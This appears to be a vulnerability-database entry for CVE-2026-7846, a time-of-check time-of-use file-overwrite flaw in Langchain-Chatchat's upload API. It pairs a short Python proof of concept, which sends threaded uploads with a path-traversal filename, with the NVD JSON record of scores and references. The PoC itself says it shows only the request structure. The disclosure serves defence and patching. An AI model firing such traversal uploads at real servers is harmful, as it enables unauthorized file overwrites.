CVE-2026-7846

import requests import threading import os # Conceptual PoC for TOCTOU File Overwrite # Target: Langchain-Chatchat OpenAI-Compatible File Upload API target_url = "http://target-ip/api/v1/files" malicious_filename = "../../../tmp/malicious_file.txt" legitimate_filename = "safe_upload.txt" def upload_race(): """Simulates the upload request trying to exploit the race condition.""" files = {'file': (malicious_filename, 'malicious content')} # The attacker tries to force the application to write to a path # that was validated as safe but changed during the operation. response = requests.post(target_url, files=files, headers={'Authorization': 'Bearer <token>'}) print(f"Upload status: {response.status_code}") # In a real scenario, this would involve precise timing to switch # the file descriptor or path between the check and the write. # This example demonstrates the request structure. if __name__ == "__main__": # Run multiple threads to increase chance of hitting the race window threads = [] for _ in range(10): t = threading.Thread(target=upload_race) threads.append(t) t.start() for t in threads: t.join()

{"cve": {"id": "CVE-2026-7846", "sourceIdentifier": "[email protected]", "published": "2026-05-05T16:16:19.577", "lastModified": "2026-05-05T19:06:58.737", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A vulnerability has been found in chatchat-space Langchain-Chatchat up to 0.3.1.3. Impacted is the function files of the file libs/chatchat-server/chatchat/server/api_server/openai_routes.py of the component OpenAI-Compatible File Upload API. Such manipulation of the argument file.filename leads to time-of-check time-of-use. Access to the local network is required for this attack to succeed. The attack requires a high level of complexity. The exploitability is considered difficult. The exploit has been disclosed to the public and may be used. The project was informed of the problem early through an issue report but has not responded yet."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:N/PR:L/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 1.2, "baseSeverity": "LOW", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 2.6, "baseSeverity": "LOW", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:A/AC:H/Au:S/C:N/I:P/A:N", "baseScore": 1.4, "accessVector": "ADJACENT_NETWORK", "accessComplexity": "HIGH", "authentication": "SINGLE", "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "availabilityImpact": "NONE"}, "baseSeverity": "LOW", "exploitabilityScore": 2.5, "impactScore": 2.9, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-362"}, {"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://github.com/3em0/cve_repo/blob/main/Langchain-Chatchat/Vuln-2-Silent-File-Overwrite.md", "source": "[email protected]"}, {"url": "https://github.com/chatchat-space/Langchain-Chatchat/", "source": "[email protected]"}, {"url": "https://github.com/chatchat-space/Langchain-Chatchat/issues/5463", "source": "[email protected]"}, {"url": "https://vuldb.com/submit/807795", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/361125", "source": "[email protected]"}, {"url": "https://vuldb.com/vuln/361125/cti", "source": "[email protected]"}]}}